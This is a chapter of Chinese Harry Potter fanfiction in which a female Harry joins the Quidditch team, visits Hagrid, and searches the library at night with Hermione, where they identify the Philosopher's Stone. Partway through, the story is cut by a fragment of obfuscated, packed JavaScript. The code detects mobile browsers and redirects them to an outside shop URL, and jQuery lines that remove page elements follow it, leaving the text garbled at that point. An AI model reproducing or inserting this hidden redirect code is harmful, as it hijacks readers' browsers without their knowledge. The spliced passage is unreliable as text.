哈莉特没想到飞行课上发生的事还有蝴蝶效应。现在，她僵硬地站在麦格院长的办公室里，还没回过神来，像块木头。
“伍德马上就来，波特小姐，请稍等一会。”麦格教授语气平板地说，目光仍然停留在手上的文件上。
现在有两块木头了，哈莉特面无表情地捂住了头。
她怎么会想到，她和马尔福的高度刚好对着的是麦格教授的办公室窗户，而麦格教授见证了他们冲突的全程呢！
门被敲响了，一个高大结实的五年级男生走了进来。
“教授，您找我？”
麦格教授立刻放下了手中的羽毛笔。她的神情依旧平静，但哈莉特从她的肢体语言中读出了兴奋。
哈莉特：？
“伍德，队伍里是不是还缺一个追球手和一个找球手？你看看波特小姐更适合哪个位置。波特，这是奥利弗·伍德，格兰芬多学院队的队长。”
男生脸上的表情从困惑变成了狂喜。
“是的！教授，但哈莉特·波特是一年级的新生……您确定吗？”
麦格教授干脆地说：“这姑娘是个天才，她昨天下午第一次摸飞天扫帚，在六十英尺高的空中精准无误地接住了德拉科·马尔福——一秒都不用。”
伍德眼睛发光地转过来，三百六十度绕着哈莉特转圈，就像看到一只金光闪闪的胡萝卜的驴，一边转圈一边打量着她：
“听起来定位感很强……没错，这种体型，非常轻盈和敏捷……”
他自顾自地决定了：“波特，今天傍晚，我们训练完后，你来魁地奇球场一趟。”
哈莉特被噎住了。
但是看到一旁麦格教授期待的眼神，她没法说出拒绝的话：“行吧。”
“哈利，你的父亲以前就是一个找球手。你完全继承了他的天赋。”麦格教授不无欣慰地说。
她语气轻快，把两个学生送出了门：“上次比赛被斯莱特林队打得惨败，我几个星期都不敢和斯内普照面……”
……
赫敏舀起一勺牛奶燕麦粥，含糊不清道：
“所以，你成为了格兰芬多的找球手。”
罗恩正要把一块牛排腰子馅饼往嘴里送，送到一半就忘记了。
“找球手？”他诧异地说，“可是一年级学生从不——你一定是许多年以来年龄最小的院队选手了——哦不，本世纪以来年龄最小的！”
哈莉特随口道：“总会有人打破年龄纪录，那个人恰好是我而已。”
罗恩觉得这句话酷毙了。
这时，弗雷德和乔治·韦斯莱走进饭厅。他们一眼看见哈莉特，便快步走了过来。
“好样的！”乔治拍了拍她的肩，“伍德昨天晚上在宿舍和我们说了。顺便说，我们两个是击球手。”
“告诉你们，我们今年肯定会拿下魁地奇杯。”弗雷德说，“自从查理走后，我们就没有赢过，不过今年，我们球队一定会大展辉煌的。你肯定很棒，哈利，伍德昨晚跟我们说这件事时，激动得简直语无伦次了。”
“原话是：‘她从五十英尺的高度俯冲而下，伸手抓住了金色飞贼，比查理·韦斯莱还轻巧，那一刻，我看到了我生命中的一道闪电——那一刻，我的梦想变成了现实。’”乔治绘声绘色地重复了一遍伍德的话。
“Ewww。”赫敏和哈莉特都嫌恶地放下了勺子。
大厅里传来一阵动静，上空有嘈杂的拍打和鸣叫声。是邮件到了。
每天早上都有百十来只猫头鹰飞进来送信，海德薇一般会过来和她一起吃早饭，再回猫头鹰屋。但是今天早上，海德薇在一群猫头鹰中，扑棱着翅膀落到果酱盘和糖罐之间，将一张字条放到了哈莉特的餐盘上。
“哦？”哈莉特昨天才和她的养父们聊过天，而且这还是一张字条而非信封。她好奇地打开来：
亲爱的哈莉特：
(字迹非常潦草零乱)
我知道了你周四发生的事情，今天是周末，不知能否在午后三时前后过来和我一起喝茶？我有一些担心你。请让海德薇给我一个回音。
海格
哈莉特掏出羽毛笔写了一张纸条：“好的，我很乐意，下午见。”她正想去找海格呢。
给海德薇喂了口吐司后，它带着纸条飞走了。
赫敏小声地说：“哈利，我能和你一起去吗？……我对海格那边挺好奇的。”
哈莉特欣然点头。
——————
海格住在禁林边缘的一间小木屋里，大门前有一张弩和一双橡胶套鞋。
哈莉特和赫敏敲门时，她们听见屋里传来几声低沉的犬吠，接着传来海格的说话声：“往后退，牙牙，往后退。”
海格把门开了一道缝，露出他满是胡须的大脸。
“哎呀，哈利，你好吗？……看到你健健康康的，我就安心了！”他把两人让了进去，手里抓着一只黑色大狗的项圈。那只狗看起来凶恶，却欢快地迎上去，围着她们的脚直转。
两个人坐了下来，海格把他自制的岩皮饼摆放到餐盘里，端给她们。
赫敏咬了一口，没咬动。
她放了回去，对哈莉特默默摇头。
哈莉特对海格讲了这几天课上的情景。提到飞行课上发生的事时，海格表示从他爸爸、他妈妈到他——马尔福家都是一个模子里刻出来的。
“这就是巫师所谓古老的‘贵族’？我深表怀疑。”赫敏评价。
桌角还压着一张从报纸上裁下来的报道。哈莉特找的就是这个，她了然地勾起嘴角，把口袋里的一张小纸片递给海格看。
赫敏看到纸上的标题是：
古灵阁非法闯入事件最新报道
“海格，前几天古灵阁失窃了，你有听说吗？”
海格在看到那张纸后眼神躲闪，装作忙碌的样子，又端来一大盘岩皮饼招呼她们吃。
“哎呀，上面写着：‘妖精们声称没有任何东西被盗走，因为被闯入的地下金库在两个月前已被提取一空’——怎么会有人提空金库呢？想必是里面放的东西太少了吧。”
毫无疑问，海格都不敢直视哈莉特的眼睛了。他含糊几句“可能吧，大家都没什么钱”就带过了这个话题。
又聊了一会天，哈莉特状似不经意地开口：“海格……你知道尼可·勒梅吗？我昨天拆了一只巧克力蛙，邓布利多的卡片上写着他的名字。我好像不太认识他。”
哈莉特本来担心自己没学到洛克的精髓，勾不出海格的反应，但她发现海格实在是太好懂了，心里想的什么都写在脸上。
她得到了想要的反应，看着这个可怜的大块头生硬地转移话题，不忍心再逗他，把话题挑到别处去了。
……
赫敏一出门，就迫不及待地问哈莉特要走了那张纸条，阅读着上面的报道。
“哈利，你一定知道——是什么东西遭窃了——？还有尼可·勒梅是谁？”
哈莉特问她还记不记得晚宴后邓布利多校长强调的禁止事项。
“禁林、宵禁、四楼的走廊。”
赫敏记得很清楚，一条一条地数着。
“就是那个，四楼靠右边的走廊，里面有海格带来的东西。”哈莉特非常肯定地说。她给赫敏简单讲述了一遍暑假的经历。
“你是说，走廊里面放着那个东西，所以禁止我们进去。对，当然不是禁林！——如果它被放在禁林的话，学校不会特地禁止我们出入某条走廊，前几届都没有这一条规矩。”
赫敏眼睛发亮，哈莉特点头表示赞同。
“赫敏，我亲爱的赫敏——你愿意和我来一次图书馆探险吗？”
—————————
深夜。
两个小姑娘在一片黑暗中睁开了自己的眼睛。
哈莉特悄无声息地坐起来，对面床铺的帷幔也被掀开一条细缝，露出赫敏蓬乱的棕色头发。
两人对视一眼，默契地跳下床。
哈莉特从箱子里取出折叠整齐的隐形衣，银灰色的布料摊开，在月光下泛着粼粼的亮光。
赫敏还是有些迟疑：“哈利，我们一定要晚上出去吗？万一被抓到会扣分的。白天也可以找资料啊。”
哈莉特低声说：“恐怕我需要去禁书区……赫敏，无论如何，我们的行动越隐秘越好。”
“好吧，你说得对。”
赫敏一旦下定决心，行动力就很强。两人套上长袍和鞋子，隐形衣刚好能够遮住两个十一岁的小女孩，她们慢慢地往外走。
公共休息室里的炉火已经熄灭，只剩几块暗红色的炭在灰烬中呼吸。墙上的画像大多睡着了，有人靠着画框打鼾，胖夫人睡得很沉，脑袋歪在一旁，胸口起伏着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852775|211851||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>绕过奖品陈列室，穿过一段挂满沉睡画像的长廊，又避开了一个在半空中漂浮的幽灵，直到图书馆那扇高大的木门出现在走廊尽头，两人才停下脚步。
半空中出现了一只手，哈莉特小心地推开了门。
两人走进图书馆，只有几根蜡烛还亮着。
“赫敏，按之前说的，你在前面找尼可·勒梅相关的资料，我去一趟后面。”
赫敏提醒道：“哈利，不要碰任何奇怪的书，禁书区对我们来说很危险，千万小心。”
哈莉特给她比了个“OK”的手势，披着隐形衣来到禁书区，小心翼翼地跨过把这些书与其他藏书隔开的绳子。
她回忆着洛克在通信簿上写给她的：
奇洛办公室里有两条值得你探索的消息。第一，一本古代炼金术相关的书籍，种种证据表明他对这本书非常上心，作者是尼可·勒梅；第二，他的图书馆借阅单，哈利，教授只会在禁书区需要借阅单：R-17-43，书籍的编号，借阅单上面显示他已经归还了。或许不重要，但这是唯一一本有记录的书。注意可能的危险。
R——
19——18——17——
哈莉特一本本找着，书架上的书在黑暗中散发着不详的气息。
“荧光闪烁。”
荧光驱散了一些黑暗。
R-17-43，她找到了那本中等大小的黑色书籍，一册古老的书，和它旁边躁动不安的书相比格外的安静。
哈莉特翻开来，前面几页都是空白，直到某一页的中间，一行手写的字迹：
切记
死亡不可逆转
她听到外面传来一声小小的惊呼，急忙把书一卷，塞到怀里，披紧隐形衣跑出去查看情况。
还好，费尔奇没来。
她把隐形衣套到两人头上：“赫敏，你发现什么了吗？”
赫敏指着书上的一段话：
“哈利！这本书有一大段关于他的介绍。
你看：尼可·勒梅，法国著名炼金术士，歌剧爱好者，已知唯一成功制造魔法石的人。他去年庆祝了六百六十五岁生日，现与妻子佩雷纳尔（六百五十八岁）一起隐居于德文郡。
魔法石的炼造：这是一种具有惊人功能的神奇物质……”
她们看到一半，图书馆外传来由远及近的声响，这次真的是费尔奇和他的猫来巡逻了。
“哈利——来不及放回书架了，我们快躲起来！”
两个人匆匆躲到书架里侧。
直到门外重新变得安静后，她们不敢再多停留，带着两本书，沿着之前的路线蹑手蹑脚地返回宿舍。
——————
一到宿舍，赫敏就迫不及待地把书往床上一扔，翻到之前被打断的地方：
魔法石的炼造：这是一种具有惊人功能的神奇物质。魔法石能把任何金属变成纯金，还能制造出长生不老药，使喝了这种药的人永远不死。
“天哪，赫敏，我几乎可以肯定了。海格带走的就是魔法石。”
哈莉特把魔法石的插图和记忆中那个棕色的小布袋对比。放缩后几乎一致。
“魔法石——点石成金还是长生不老？小偷肯定只有其中的一个目的。”
赫敏指着魔法石的功效，猜测道。
“古灵阁那么多金库，他偏偏要挑一个最难的偷，这可没有道理。”
哈莉特决定在另一本书里验证可能的答案。她谨慎地把书放在地上，以免它突然吐血或者吐黑汁。
不过，就像一本公寓里最普通、最灰扑扑的老书一样，它被翻开了，向来者展示它内里年代久远的字迹。
哈莉特翻了几页，除了她看的第一句话以外，整本书几乎都在用一些拗口的、生涩的单词讲述“死亡”的概念。她扯了扯赫敏的睡裙，让她蹲下来，指着其中的一段给她看：
人之死也，形朽而魂离
生者徘徊，空游无所依
绕树三匝，择枝而暂栖
“魔法石？长生不老？——分明是苟延残喘。”
哈莉特不屑地冷笑一声，她终于想通了奇洛和伏地魔之间的关系。看赫敏仍然一脸困惑，她拉着对方的手，轻轻地触碰自己额头上的闪电伤疤。
赫敏仿佛明白了什么，目光呆滞得像魔药课上的罗恩一样：
“不会吧……”